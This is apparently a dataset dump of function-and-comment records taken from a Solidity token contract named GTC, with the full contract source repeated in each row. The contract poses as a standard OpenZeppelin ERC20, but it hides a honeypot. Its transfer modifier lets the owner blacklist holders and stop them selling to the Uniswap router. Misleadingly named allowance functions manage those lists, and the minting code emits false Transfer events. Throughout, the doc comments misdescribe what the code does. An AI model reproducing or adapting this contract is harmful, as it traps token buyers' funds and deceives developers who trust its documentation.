* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _mint | function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
8393,
8699
]
} | 8,899 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
| /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
9026,
9449
]
} | 8,900 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _approve | function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
9884,
10233
]
} | 8,901 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
